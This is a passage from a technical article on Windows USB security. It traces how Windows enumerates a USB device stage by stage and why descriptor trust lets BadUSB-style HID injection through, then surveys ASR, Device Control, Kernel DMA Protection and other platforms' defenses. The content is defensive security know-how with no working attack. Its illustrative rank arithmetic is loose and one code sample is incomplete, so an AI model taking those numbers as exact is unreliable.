Generation 10 -- Defender, ASR, and Device Control unification (2018-2024). The Attack Surface Reduction rule set, documented in Microsoft's ASR-rule-to-GUID matrix [@ms-asr-rules], includes the rule Block untrusted and unsigned processes that run from USB with GUID b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4. Microsoft Defender for Endpoint Device Control followed, generally available in 2024, with per-VID/PID, per-serial-number, per-operation, and per-user policy primitives [@ms-devcontrol]. Together with the older Group Policy Device Installation Restrictions framework [@ms-gpo-devinstall] and the system-defined Device Setup Class GUIDs [@ms-devsetupclasses], these form the deployable enterprise triangle around the BadUSB / HID-injection problem.

timeline title Ten generations of Windows USB hardening 1996 : Gen 1 : Original USB stack ships ; unsigned 32-bit drivers 2007 : Gen 2 : KMCS on Vista x64 ; mandatory signed kernel binaries 2009-2011 : Gen 3 : AutoRun and LNK lockdown ; KB971029 and MS10-046 2011 : Gen 4 : Andy Davis names the descriptor parser surface 2012 : Gen 4 cont. : USB 3.0 KMDF stack ships in Windows 8 2014 : Gen 5 : BadUSB watershed ; SR Labs at Black Hat 2010-2024 : Gen 6 : HID-as-weapon era ; Rubber Ducky to O.MG Cable 2019-2020 : Gen 7 : Thunderclap and Thunderspy ; IOMMU is not enough 2018 : Gen 8 : Kernel DMA Protection ; Windows 10 1803 2016 : Gen 9 : USB Type-C UCM stack ; Windows 10 1607 2018-2024 : Gen 10 : ASR, Device Control, GPO triangle ; Defender for Endpoint

Sources, in row order: [@ms-usb-3-0-stack] for the USB 2.0 stack and the USB 3.0 KMDF rewrite; [@ms-kmcs] for the Vista x64 signing transition; [@krebs-feb2011] and [@nvd-cve-2010-2568] for the AutoRun-and-LNK lockdown; [@ncc-davis-2011] for the Andy Davis Black Hat 2011 talk; [@srlabs-badusb-pdf] and [@wiki-badusb] for the BadUSB three-author SR Labs disclosure; [@hak5-shop-ducky], [@hak5-ducky-docs], [@omg-cable], and [@bleeping-fin7] for the HID-as-weapon lineage; [@ndss-thunderclap] and [@thunderspy] for the IOMMU attack family; [@ms-kdp] and [@ms-dmaremap] for Kernel DMA Protection; [@ms-typec] for the Type-C UCM stack; [@ms-asr-rules], [@ms-devcontrol], [@ms-gpo-devinstall], and [@ms-devsetupclasses] for the modern enterprise policy triangle.

Note: Ten generations of Windows USB hardening. Signing on top, IOMMU underneath, policy frameworks around the edges. Every one of them addressed a surface adjacent to the descriptor parser. None addressed the contract the descriptor parser has to honor: that the peripheral's self-declared identity is the only identity the host gets. Until USB-IF Authentication 1.0 ships in commodity silicon, that contract is going to outlast every defense in this section.

Ten generations of hardening, each closing a single attack surface, each leaving the descriptor-trust contract intact. The single defense that should close it -- USB-IF Authentication 1.0, published January 2019 -- is the next section's reckoning.

5. The Modern USB Stack as a Multi-Stage Verifier

We have walked forty years of inheritance and ten generations of layered hardening. Now we are going to do the thing the rest of this article rests on: walk a single USB device, from the millisecond it makes electrical contact to the moment a class driver attaches to it, through the nine stages Windows 11 25H2 actually executes -- by named binary, by descriptor, by trust decision.

Those nine stages are a reorganisation of §1's eleven kernel-mode operations, not a different list. §1's three physical-detection operations -- port-status interrupt, port reset, speed detection -- fuse into Stage 1; §1's three default-address descriptor operations (initial 8-byte fetch, SET_ADDRESS, full 18-byte fetch) fuse into Stage 2; §1's combined INF-search-and-KMCS operation splits into Stages 6 and 7; and a new Stage 9 covers the IOMMU enforcement Kernel DMA Protection performs after the class driver attaches. The arithmetic is eleven minus two minus two plus one plus one equals nine. The StudyGuide question 1 at the foot of this article retains the §1 framing for exam purposes; the per-stage walk below uses the §5 reorganisation.

sequenceDiagram participant Dev as USB device participant XHCI as usbxhci.sys (host controller) participant Hub as usbhub3.sys (hub driver) participant CCGP as usbccgp.sys (composite parent) participant PnP as PnP manager participant IO as I/O manager participant Cls as Class driver (e.g. hidclass.sys) Dev->>XHCI: Stage 1 -- electrical attach + port status change XHCI->>Dev: Port reset + speed detection XHCI->>Hub: New device on port N (default address 0) Hub->>Dev: Stage 2 -- GET_DESCRIPTOR (device, first 8 bytes) Hub->>Dev: SET_ADDRESS Hub->>Dev: GET_DESCRIPTOR (device, full 18 bytes) Hub->>Dev: Stage 3 -- GET_DESCRIPTOR (config, first 9 bytes) Hub->>Dev: GET_DESCRIPTOR (config, full wTotalLength) Hub->>CCGP: Stage 4 -- composite split (if bDeviceClass=0x00 or IAD present) CCGP->>PnP: Per-interface PDOs PnP->>PnP: Stage 5 -- synthesize hardware + compatible IDs PnP->>PnP: Stage 6 -- INF database search with rank scoring PnP->>IO: Stage 7 -- KMCS check on chosen function driver IO->>Cls: Stage 8 -- attach class driver to device node IO->>IO: Stage 9 -- IOMMU policy (KDP, if armed)

The sources for each stage are cited inline in the prose that follows. We will walk all nine.

Stage 1: Physical detection (`usbxhci.sys`)

The xHCI host controller's hardware raises a port-status-change interrupt when a downstream port detects electrical attach. The host-controller driver -- usbxhci.sys on Windows 8 and newer -- handles the interrupt, drives the port through a reset, and detects the device's negotiated speed: Low (1.5 Mbps), Full (12 Mbps), High (480 Mbps), Super (5 Gbps), or Super+ Speed (10 Gbps and beyond) [@wiki-usb]. Microsoft's architecture documentation names this verbatim: "The xHCI driver is the USB 3.0 host controller driver" and pairs with the framework-derived host-controller extension Ucx01000.sys [@ms-usb-3-0-stack]. The device, at this point, has no identity. It has a port number and a speed. It does not yet have a USB bus address; it lives at the default address (zero) until the hub assigns one.

Stage 2: Initial device-descriptor fetch (`usbhub3.sys`)

The hub driver, usbhub3.sys, issues the first control transfer. The request is bmRequestType=0x80, bRequest=GET_DESCRIPTOR, wValue=0x0100, wLength=8 -- "give me the first eight bytes of the device descriptor at default address zero." The first eight bytes carry the bMaxPacketSize0 field, which tells the host how to size subsequent control transfers. SET_ADDRESS assigns a real bus address. A second GET_DESCRIPTOR then retrieves the full eighteen-byte USB_DEVICE_DESCRIPTOR.

This is the descriptor parser's first contact with attacker-controlled bytes -- the surface Andy Davis demonstrated as exploitable at Black Hat 2011 [@ncc-davis-2011]. The binary doing the parsing is usbhub3.sys, the same hub driver §4 Generation 4 names verbatim from the architecture reference [@ms-usb-3-0-stack]. The hub driver runs in ring zero. The bytes it parses originate in the peripheral's firmware. The trust contract is one-way.

Stage 3: Configuration-descriptor fetch

The hub driver issues a third GET_DESCRIPTOR for the first nine bytes of USB_CONFIGURATION_DESCRIPTOR to learn the wTotalLength field; a fourth fetch retrieves the full configuration, which includes one or more USB_INTERFACE_DESCRIPTORs, each followed by its USB_ENDPOINT_DESCRIPTORs and any class-specific descriptors (HID report descriptors, mass-storage CSW formats, audio control units).The two-fetch pattern -- read nine bytes to learn the size, then re-read the full block -- is a perfectly sensible engineering optimization. It also doubles the number of attacker-controlled parser entries the hub driver executes per insertion. The pragmatic optimization and the widened attack surface are the same line of code. All of this is parsed in usbhub3.sys [@ms-usb-3-0-stack]. This stage is the bulk of the kernel's adversarial-input surface for USB.

A composite USB device is a single physical peripheral that declares multiple independent interfaces. A common pattern is a wireless-keyboard-and-mouse receiver that presents one USB interface for the keyboard and a second for the mouse. The host treats each interface as a separate logical device and binds a class driver to each. Composite-device handling is the structural primitive that makes the BadUSB *"mass storage device that also presents a HID keyboard interface"* attack possible inside an unmodified USB peripheral.

Stage 4: Composite-device split (`usbccgp.sys`)

If the device descriptor's bDeviceClass is 0x00 (deferred to interface), or its bDeviceClass / bDeviceSubClass / bDeviceProtocol triple is 0xEF / 0x02 / 0x01 (the Multi-Interface Function class signalled by Interface Association Descriptors), and the device has more than one interface and a single configuration, the hub bus driver synthesizes an additional compatible ID of USB\COMPOSITE. The PnP manager's INF search then matches that compatible ID against Usb.inf and loads the generic parent driver. Microsoft Learn states the architecture verbatim: "the USB generic parent driver (Usbccgp.sys) ... the generic parent driver enumerates each of these interfaces as a separate device" [@ms-ccgp]; the USB 3.0 architecture page is verbatim about which layer does the synthesis: "The hub driver enumerates and loads the parent composite driver if deviceClass is 0 or 0xef and numInterfaces is greater than 1 in the device descriptor" [@ms-usb-3-0-stack]. usbccgp.sys then creates one child physical device object (PDO) per interface and lets the PnP manager bind a class driver to each independently. This is the moment a single physical thumb drive can become a thumb drive and a HID keyboard. Nothing in this stage cross-checks whether the combination is a plausible product; the device has declared it, and the host honors the declaration.

Stage 5: Hardware-ID and compatible-ID synthesis

The PnP manager builds two ordered lists from the descriptor fields it just parsed:

Hardware IDs (most specific): USB\VID_xxxx&PID_xxxx&REV_xxxx, USB\VID_xxxx&PID_xxxx, and for composite devices USB\VID_xxxx&PID_xxxx&MI_xx (interface number) [@ms-hwids].
Compatible IDs (fallback): USB\Class_xx&SubClass_xx&Prot_xx, then USB\Class_xx&SubClass_xx, then USB\Class_xx [@ms-compatids].

A hardware ID is the most specific identifier the Plug-and-Play manager uses to bind a driver to a device. For USB, the canonical hardware ID is `USB\VID_xxxx&PID_xxxx&REV_xxxx`, derived directly from the device descriptor's `idVendor`, `idProduct`, and `bcdDevice` fields. A driver INF that names a hardware ID exactly will outrank any compatible-ID match in the rank-scored search; vendors use this to ship a vendor-specific function driver for their own hardware. A compatible ID is a generic identifier the Plug-and-Play manager falls back to when no driver INF names the device's hardware ID. For USB, compatible IDs are class-coded: `USB\Class_03&SubClass_01&Prot_01` is a boot-protocol keyboard, `USB\Class_08&SubClass_06&Prot_50` is a SCSI-transparent mass-storage device. The inbox Microsoft class drivers (`hidusb.sys`, `usbstor.sys`, and so on) are registered against compatible IDs, which is why an unbranded thumb drive with no vendor INF still gets a working class driver on Windows.

Stage 6: INF database search with rank scoring

The PnP manager hands the two lists to the driver-store INF search. The algorithm is documented under "How Setup Selects Drivers" [@ms-pnp-rank] and is rank-arithmetic: each candidate INF is assigned a 32-bit rank, lowest wins. Roughly speaking, the rank is composed from three terms: an ID-match term (hardware-ID hit beats compatible-ID hit, and a higher hardware-ID in the list beats a lower one), a signer-trust term (a Microsoft-signed driver outranks a third-party-signed driver of equal ID specificity), and an OS-version term. The chosen INF's [Models] section names the function driver [@ms-inf]. The two-phase driver-package model (introduced in Windows 8) first installs the best driver-store match for fast operation, then queries Windows Update separately for a potentially better match [@ms-pnp-rank].

Worked example. A USB Mass Storage device exposes hardware ID USB\VID_0951&PID_1666 (a Kingston DataTraveler) and compatible ID USB\Class_08&SubClass_06&Prot_50 (SCSI-transparent bulk-only). The driver store contains the Microsoft inbox INF (usbstor.inf) registered against the compatible ID and signed by Microsoft, and a third-party INF registered against the hardware ID and signed by a paid-up OEM. The rank arithmetic decides which one wins.

flowchart TD Dev["Device exposes:
HWID=USB\VID_0951&PID_1666
CompatID=USB\Class_08&SubClass_06&Prot_50"] Dev --> Store["Driver store search"] Store --> A["Candidate A: usbstor.inf
Match on CompatID
Signer: Microsoft (rank 0x00)"] Store --> B["Candidate B: vendor.inf
Match on HWID
Signer: OEM (rank 0x01)"] A --> ARank["A.rank = HWID_RANK_BASE + CompatID_term + 0x00
= 0x0000 + 0x1003 + 0x00
= 0x1003"] B --> BRank["B.rank = HWID_term + Signer_term
= 0x0000 + 0x01
= 0x0001"] ARank --> D{"Compare ranks (lowest wins)"} BRank --> D D --> Win["B wins: vendor.inf binds to USB\VID_0951&PID_1666"]

The exact numeric constants are policy-controlled and vary by Windows version; the structural ordering is documented [@ms-pnp-rank] [@ms-hwids] [@ms-compatids] [@ms-inf]. The takeaway is that a USB device with no hardware-ID-specific INF in the driver store always falls back to the Microsoft inbox class driver matched on compatible ID, which is why an arbitrary thumb drive declaring bInterfaceClass=0x08 always finds usbstor.sys ready to load.

{` // Simplified model of the documented rank-scoring algorithm. // Lower numeric rank wins; the exact constants are version-policy controlled.

const HWID_BASE = 0x0000; const COMPATID_BASE = 0x1000; const POSITION_STEP = 0x0001; const SIGNER = { MICROSOFT: 0x00, OEM: 0x01, THIRD_PARTY: 0x02, UNSIGNED: 0x80 };

function rank(match) { const idTerm = match.kind === "HWID" ? HWID_BASE : COMPATID_BASE; const positionTerm = match.position * POSITION_STEP; return idTerm + positionTerm + SIGNER[match.signer]; }

const candidates = [ { name: "usbstor.inf (Microsoft inbox)", kind: "COMPATID", position: 3, signer: "MICROSOFT" }, { name: "vendor.inf (Kingston OEM)", kind: "HWID", position: 0, signer: "OEM" }, ];

const ranked = candidates .map(c => ({ ...c, rank: rank(c).toString(16).padStart(4, "0") })) .sort((a, b) => parseInt(a.rank, 16) - parseInt(b.rank, 16));

for (const c of ranked) console.log(`rank=0x${c.rank} ${c.name}`); console.log("Winner:", ranked[0].name); `}

Stage 7: KMCS verification of the chosen driver

The function driver named in the winning INF is loaded. Before the I/O manager attaches it, the loader checks its signature against the Kernel-Mode Code Signing policy: signature must chain to a Microsoft-trusted root, use SHA-256, and -- if Hypervisor-Enforced Code Integrity is enabled -- pass HVCI's per-page integrity check. The driver block list and the vulnerable-driver block list are consulted. The full signing-by-version matrix is documented on Microsoft Learn [@ms-kmcs] [@ms-drvsigning].

This is the canonical aha moment of the article. Kernel-Mode Code Signing certifies the driver. It does not certify what the driver consumes.

Imagine the system from KMCS's point of view. The Microsoft-signed `hidclass.sys` arrives at the kernel-mode loader. Its signature chains to a Microsoft-trusted root, its hash is correct, the HVCI memory-integrity policy is satisfied. Everything KMCS is asked to verify is verified. `hidclass.sys` loads.

At runtime, hidclass.sys accepts whatever HID input event arrives on the wire. The bytes that arrive carry no signature. The peripheral that produced them was never authenticated. KMCS protects the kernel from a malicious driver; the threat model assumes the data the driver consumes is honest. Against BadUSB, that assumption is exactly the inverse of true. The signed hidclass.sys is the attacker's tool: it is the binary that injects the malicious keystrokes into the active session.

KMCS is not broken. The work it does is real and necessary; without it, the BadUSB primitive would also let an attacker load arbitrary .sys files. KMCS just does not solve, and is not in the threat model of, the descriptor-trust problem. That gap is the article's recurring point.

Stage 8: Class-driver attachment

With the rank scoring decided and the function driver KMCS-verified, the I/O manager attaches the driver to the new device node and the class driver begins serving I/O. The function driver is drawn from the inbox class-driver roster catalogued in §6 -- hidclass.sys and hidusb.sys for HID; usbstor.sys for mass storage; winusb.sys for vendor-specific generic access via the Microsoft OS Descriptor mechanism [@ms-winusb]; the UcmCx.sys family for Type-C connector management [@ms-typec]; and the rest of the inbox roster in §6 [@ms-usb-3-0-stack]. This is the moment a USB device transitions from a parsed PDO to a binding that exposes per-class I/O semantics to user-mode -- the IRQL boundary at which descriptor-trust becomes operational rather than merely synthesised.

Stage 9: IOMMU enforcement (Kernel DMA Protection)

If Kernel DMA Protection is armed and the device is externally connected via a PCIe-tunneling fabric (Thunderbolt 3, Thunderbolt 4, USB4), the platform IOMMU places the device behind a device-specific translation domain. Pre-login DMA is blocked. Post-login DMA is allowed only into the device's own sandboxed memory if the driver opted in with DmaRemappingCompatible=1 in its INF [@ms-dmaremap]. KDP performs the IOMMU-mediated peripheral confinement quoted verbatim in §4 Generation 8 [@ms-kdp]. The deeper architectural treatment of Windows's hypervisor-enforced isolation primitives lives in the sibling article on the secure kernel and Virtualization-Based Security.

An IOMMU is a hardware unit that sits between peripherals and main memory, translating peripheral-issued DMA addresses through a per-device page table the operating system controls. Intel's implementation is called VT-d; AMD's is AMD-Vi; ARM platforms expose a System Memory Management Unit (SMMU). With an IOMMU enabled and configured by the OS, a peripheral that issues a DMA read to an address outside its sandboxed memory region gets a translation fault instead of a successful read. Without an IOMMU -- or with the IOMMU not enforcing policy on a given device -- peripheral DMA is unrestricted physical-address access to the kernel.

A USB 2.0 thumb drive performs no DMA. KDP is silent on it.

Note: Kernel DMA Protection is a Thunderbolt-and-PCIe-over-USB-C defense. It does not apply to USB 2.0 mass storage, HID, or audio. It does not apply to a USB 3.x flash drive talking the Mass Storage Class. It applies to PCIe peripherals tunneled over the same physical connector. If your threat model is "a malicious thumb drive types Mimikatz into my Start menu," KDP is not in your defense chain at all.

flowchart TD subgraph HC["Host controller layer"] XHCI["usbxhci.sys
USB 3.0 host controller driver"] UCX["Ucx01000.sys
USB host controller extension (KMDF)"] end subgraph Hub["Hub layer"] H["usbhub3.sys
USB 3.0 hub and enumeration"] end subgraph Comp["Composite split"] CCGP["usbccgp.sys
generic parent: one PDO per interface"] end subgraph Class["Class-driver layer"] HID["hidclass.sys + hidusb.sys
HID class"] STOR["usbstor.sys
Mass Storage Class"] AUDIO["usbaudio2.sys
Audio Class 2.0"] VIDEO["usbvideo.sys
USB Video Class (UVC)"] SER["usbser.sys
CDC Serial"] WIN["winusb.sys
Generic vendor access"] UCM["UcmCx / UcmUcsiCx / UcmTcpciCx
USB Type-C connector"] end XHCI --> UCX UCX --> H H --> CCGP CCGP --> HID CCGP --> STOR CCGP --> AUDIO CCGP --> VIDEO CCGP --> SER CCGP --> WIN CCGP --> UCM

Sources for the architecture diagram, layer by layer: [@ms-usb-3-0-stack] for the host-controller and hub layers (usbxhci.sys, Ucx01000.sys, usbhub3.sys); [@ms-ccgp] for the composite parent driver usbccgp.sys; [@ms-winusb] for winusb.sys; [@ms-typec] for the UCM class-extension family.

Key idea: Of the nine stages Windows executes between physical insertion and a class-driver attach, only two -- Stages 7 and 9 -- consult anything Windows holds as cryptographic truth. The other seven trust whatever the peripheral says, the moment the peripheral says it. KMCS certifies the driver, not the device. KDP certifies the bus, not the descriptor. The descriptor-trust gap is structural to USB; it lives in Stages 2 through 6, and no Windows-side defense has ever proposed to close it.

Nine stages. Two of them are the security model the article's reader thought was the security model. The other seven are descriptor parsing, ID synthesis, and INF search -- and they trust whatever the peripheral declares.

6. What Ships in Windows 11 24H2 / 25H2

Section 5 was the pipeline. This section is the roster: every Windows-11-shipping mechanism that defends the USB attack surface, what it actually does, and -- in the table at the end of this section -- what it does not.

The inbox class-driver roster. The class drivers that bind to a USB device after Stage 6 are mostly Microsoft-authored and ship in every Windows 11 SKU. They include hidclass.sys and hidusb.sys for keyboards, mice, joysticks, and HID-over-USB; usbstor.sys for the Mass Storage Class; usbprint.sys for the Printer Class; usbaudio2.sys for USB Audio Class 2.0; usbvideo.sys for the USB Video Class (webcams); usbser.sys for the CDC Serial class; winusb.sys for vendor-specific generic-access scenarios; the UcmCx.sys family for Type-C connector management; Hidi2c.sys for HID-over-I2C; and wpdusb.sys for MTP / PTP Windows Portable Devices [@ms-usb-3-0-stack] [@ms-typec] [@ms-winusb]. Every class driver in that list is signed under the Kernel-Mode Code Signing policy [@ms-kmcs]. Every class driver in that list trusts the descriptor that selected it.Hidi2c.sys is the sleeper attack surface on most laptops. Internal precision touchpads, fingerprint readers, and increasingly proximity sensors are HID-over-I2C devices wired to the chipset, not the external USB bus. They are not subject to USB-side Device Control policy because they are not USB devices; they are HID devices that happen to talk a different transport. The HID class definition is the same as it is on USB.

Kernel DMA Protection policy surface. KDP exposes three Group Policy values on DMAGuard\DeviceEnumerationPolicy: Block (the default; conservative posture), Allow with audit, and Allow all. The Microsoft Learn reference is verbatim about the default behavior: "By default, peripherals with DMA Remapping incompatible drivers are blocked from starting and performing DMA until an authorized user signs into the system or unlocks the screen" [@ms-kdp]. KDP's silicon and firmware prerequisites (IOMMU support, UEFI DMAR / IVRS publication) are non-trivial; on many post-2019 OEM platforms the toggle is shipping in BIOS but turned off until an administrator changes the firmware setting.

The ASR + Device Control + GPO triangle. The three deployable layers of enterprise USB policy on Windows 11 are an Attack Surface Reduction rule, the Microsoft Defender for Endpoint Device Control framework, and the older Group Policy Device Installation Restrictions family.

Attack Surface Reduction is a set of policy-defined kernel-and-userland rules in Microsoft Defender for Endpoint that block specific abusable behaviors. Each rule is identified by a GUID and toggled per-rule by Group Policy, Intune, or PowerShell. ASR rules sit in front of common execution sinks (Office child processes, script-from-email runs, USB-borne executables) and refuse the operation when the rule is in Block mode. They are a policy layer on top of the Windows execution model, not a re-design of it.

The ASR rule that targets USB-borne malware is "Block untrusted and unsigned processes that run from USB", GUID b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 on Microsoft's ASR-rule-to-GUID matrix [@ms-asr-rules]. (Several published guides cite the unrelated GUID d4f940ab-401b-4efc-aadc-ad5f3c50688a for the same rule; per the matrix that GUID is actually "Block all Office applications from creating child processes". The corrected USB GUID is the one to deploy.) Microsoft Defender for Endpoint Device Control is the granular layer: groups, rules, and settings let an administrator allow read-only-for-corporate-encrypted-USB, deny-write-for-personal-USB, allow corporate HID by VID/PID/serial, and a dozen other primitive combinations per-user [@ms-devcontrol]. The older Group Policy Device Installation Restrictions framework has eight policies (AllowedDeviceClasses, DenyDeviceClasses, AllowedDeviceIDs, DenyDeviceIDs, and so on) and uses Setup Class GUIDs such as GUID_DEVCLASS_USB ({36FC9E60-C465-11CF-8056-444553540000}) and GUID_DEVCLASS_HIDCLASS ({745A17A0-74D3-11D0-B6FE-00A0C90F57DA}) for class-wide rules [@ms-gpo-devinstall] [@ms-devsetupclasses].

BitLocker To Go. The full-volume-encryption story for removable media on Windows has been BitLocker To Go since Windows 7. On Windows 11 the default cipher is XTS-AES-128 (administrators can promote to XTS-AES-256 via the Group Policy "Choose drive encryption method and cipher strength" under Removable Data Drives), and the Group Policy "Deny write access to removable drives not protected by BitLocker" is the enterprise opt-in to force the contract [@ms-bitlocker]. BitLocker To Go protects the data on a USB stick if it is lost or stolen. It does not protect the host from a malicious peripheral, because the malicious peripheral does not present itself as a BitLocker-managed volume; it presents itself as whatever it pleases at Stage 5.

USB-IF Authentication Specification Revision 1.0. Published in the form of an ECN and errata dated January 7, 2019 [@usbif-auth-spec], this specification defines cryptographic peripheral identity using ECDSA P-256, X.509 certificate chains, and SHA-256 hashing -- the same primitives Windows already uses for KMCS and BitLocker. The standard exists. Windows ships no in-box consumer. No major host operating system in 2026 consumes it. The 2019 promise of cryptographic device identity has been seven years away for seven years.

Note: USB-IF Authentication 1.0 is the only mechanism in this entire roster that would architecturally close the BadUSB-class HID-injection problem. Every other defense in the table below mitigates the symptoms of the descriptor-trust gap. USB-IF Authentication would close the gap itself. It was published as an ECN seven years ago [@usbif-auth-spec]. Windows does not consume it. macOS does not consume it. Linux does not consume it. The defense is not absent because it is hard; it is absent because no host operating system has committed engineering to it. That is the institutional gap.

The SOTA roster, in a comparison table:

Mechanism	What it gates	Attack class addressed	Does NOT address
KMCS [@ms-kmcs]	Loading of unsigned `.sys` files into ring zero	Arbitrary kernel-mode driver loads	Descriptors a signed driver consumes
Kernel DMA Protection [@ms-kdp]	Pre-login + post-login DMA from Thunderbolt / USB4 PCIe endpoints	Thunderclap-class DMA attacks	USB 2.0/3.x storage and HID; pre-DMAR firmware platforms
ASR USB rule `b2b3f03d-...` [@ms-asr-rules]	Unsigned and untrusted process launch from USB-mounted volume	AutoRun-like execution; mass-storage-borne executables	HID-injection (no process is launched); descriptor-parser bugs
MDE Device Control [@ms-devcontrol]	Per-VID/PID/serial allow-deny on read, write, execute, file-walk	Any policy-named USB device class	Devices the policy explicitly allows
GPO Device Installation Restrictions [@ms-gpo-devinstall] [@ms-devsetupclasses]	Setup-class-wide allow-deny by Device Setup Class GUID	Whole-class blocks (e.g. all USB Storage)	Devices the policy allow-lists
BitLocker To Go [@ms-bitlocker]	Encryption of data at rest on removable USB volumes	Lost / stolen thumb drive	Malicious peripheral; host compromise
AutoRun-disable (KB971029 era) [@krebs-feb2011] [@wiki-autorun]	`autorun.inf`-driven AutoPlay launch on insert	Conficker-class AutoRun worms	HID injection; descriptor parser bugs
Driver Block List / Vulnerable Driver Block List [@ms-kmcs]	Loading of named known-bad signed `.sys` files	Bring-Your-Own-Vulnerable-Driver	New (unlisted) malicious-but-signed driver
USB-IF Authentication 1.0 [@usbif-auth-spec]	Cryptographic peripheral identity at enumeration	Descriptor-trust impossibility result (BadUSB)	(Standard exists; Windows does not consume it)

{` // Emulates the PowerShell check: // $p = Get-MpPreference // $p.AttackSurfaceReductionRules_Ids // $p.AttackSurfaceReductionRules_Actions // In a real Windows 11 enterprise rollout, run the PowerShell as administrator.

const USB_RULE_GUID = "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4"; // "Block untrusted and unsigned processes from USB" const ACTION = { DISABLED: 0, BLOCK: 1, AUDIT: 2, WARN: 6 };

// Sample output that a healthy enterprise endpoint should produce. const sample = { ids: [USB_RULE_GUID, "d4f940ab-401b-4efc-aadc-ad5f3c50688a", "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84"], actions: [ACTION.BLOCK, ACTION.BLOCK, ACTION.BLOCK], };

Eight Windows-shipping mechanisms, one missing implementation. The implementation gap is structural: the only complete defense in the roster is the one Windows does not ship.

7. USB Security on Non-Windows Platforms

Windows is not the only OS that inherits USB's descriptor-trust premise. Every host operating system since 1996 has inherited the same contract; each has staked out a different position on how to live with it. The contrast clarifies what Windows chose.

macOS on Apple Silicon (Ventura 2022, extended Sequoia 2024). Apple Support is verbatim on the prompt: "When you use a new or unknown USB accessory, Thunderbolt accessory, or SD card with your Mac laptop with Apple silicon, you get an alert that asks you to allow the accessory to connect" [@apple-mac-usb]. The same page documents the four user-selectable modes -- Always ask, Ask for new accessories, Automatically allow when unlocked, Always allow -- and the lockout window: "If your Mac has been locked for 3 or more days, you might need to unlock it to use a previously allowed accessory again" [@apple-mac-usb]. Apple is the only major host OS that ships a user-facing prompt as the default posture.Apple Silicon Macs enforce the accessory-prompt at the hardware level through the Secure Enclave Processor, not purely in software. This is architectural inference from Apple's general SEP-policy documentation; Apple Support pages describe the user-visible behavior, not the SEP-side enforcement chain. The architectural distinction matters because the prompt is not a kernel-side policy a privileged process can bypass.

iOS USB Restricted Mode (iOS 11.4.1, 2018; USB-C version, iOS 17+). Apple Support carries the iOS variant verbatim: "By default, you need to first unlock your iPhone or iPad to connect to an accessory or computer" [@apple-ios-usb]. Modern USB-C iPhones and iPads expose the same four-mode setting as the Mac: Always Ask, Ask for New Accessories, Automatically Allow When Unlocked, Always Allow [@apple-ios-usb]. iOS came first; macOS adopted the same UX pattern four years later.

ChromeOS. USB device authorization on ChromeOS is tied to the user-signin state; HID-class injection vectors are default-deny after suspend on managed devices. ChromeOS's documentation of the exact enforcement chain is sparse, so we will only describe what is publicly observable: the policy hooks exist, the enterprise-managed posture is default-deny, the consumer posture is default-allow.

Linux usbguard. The open-source usbguard daemon implements per-user, per-device USB authorization on top of the kernel's sysfs authorized flag [@usbguard]. The architectural cousin of Windows's Defender for Endpoint Device Control, usbguard ships a mature policy language (usbguard list-devices, usbguard allow-device, declarative rules.conf) and integrates cleanly with PolicyKit. The catch is that no major Linux distribution enables usbguard by default; it is opt-in software a sysadmin installs. Linux's kernel has had the authorized sysfs flag since 2007; what it has not had is a default-deny posture out of the box.

OpenBSD umass(4) / FreeBSD opt-in USB policy. The BSD family of operating systems ships conservative defaults: separated drivers per class, no autorun.inf-equivalent in the file manager, and a documented user-mode authorization story. Deployment scale is small; the design is included here only to illustrate that a default-deny posture is technically possible inside an inherited USB protocol contract.

The cross-platform comparison:

Platform	Default posture	Model	Pre-login HID injection	DMA isolation
Windows 11 25H2	Allow on insert	Policy frameworks layered over descriptor trust [@ms-asr-rules] [@ms-devcontrol] [@ms-gpo-devinstall]	Mitigated only by ASR USB rule + Device Control allow-list (enterprise opt-in)	Kernel DMA Protection on capable platforms [@ms-kdp]
macOS (Apple Silicon)	Prompt user	User-facing approval dialog, 3-day re-prompt window [@apple-mac-usb]	Mitigated by default prompt (consumer + enterprise)	Apple-managed IOMMU + SEP policy
iOS (USB-C)	Locked-until-unlock	User-facing approval dialog [@apple-ios-usb]	Mitigated by default prompt	Apple-managed IOMMU + SEP policy
ChromeOS (managed)	Default deny after suspend	Sign-in-state-gated authorization	Mitigated by default deny (managed devices)	Platform-IOMMU policy
Linux + usbguard	Default deny if installed	User-space daemon over kernel `authorized` flag [@usbguard]	Mitigated if `usbguard` installed (opt-in)	Distribution-dependent
Stock Linux	Allow on insert	Kernel `authorized` flag exists, default is allowed	Not mitigated	Distribution-dependent
OpenBSD / FreeBSD	Conservative by default	Per-class driver opt-in	Not the default attack surface (low deployment)	Limited

Two platforms (Apple's, both of them) prompt the user as the default posture. One (Linux) ships an opt-in user-space daemon. Windows is the only major platform that combines a kernel-mode device-control framework with cross-platform telemetry inside Microsoft Defender for Endpoint -- and the only one still relying entirely on enterprise opt-in for the HID-injection mitigation. The consumer default on Windows 11 25H2 is allow-on-insert.

8. What Windows Cannot Defend Against

We have walked the modern pipeline and seen the roster of defenses. We owe the reader a clean accounting of where the model is structural -- where no plausible Windows version closes the gap without breaking USB compatibility. There are five named limits, and none of them are bugs.

Limit 1: The descriptor-trust impossibility result. USB has, by specification, no out-of-band identity. A peripheral that declares itself to be a keyboard is a keyboard for purposes of the bus-enumeration handshake. The Wikipedia reference is explicit about the device-class architecture in which the peripheral, not the host, owns the declaration [@wiki-usb]. Until USB-IF Authentication (cryptographic device identity) is universal at the silicon level, this gap is structural to the protocol. Closing it on the host side -- by, say, refusing to bind a class driver until the device signs a challenge -- would break every existing USB device on the market.

Limit 2: HID-class trust is structural, not technical. A USB HID keyboard issues input events to the focused window. Windows has no way to know whether the user is the source of those events or whether a reprogrammed thumb drive is. The SR Labs disclosure is verbatim about why the host cannot tell the difference: the same Phison or Cypress controller chip that ships in a thumb drive can be reprogrammed to enumerate as a HID device with a vendor-controlled report descriptor [@srlabs-badusb-pdf] [@wiki-badusb]. Microsoft Defender for Endpoint Device Control supports granular HID rules, but they are opt-in, enterprise-only, and inherently break every external keyboard the policy does not allow. The structural cost of fixing this is breaking USB.

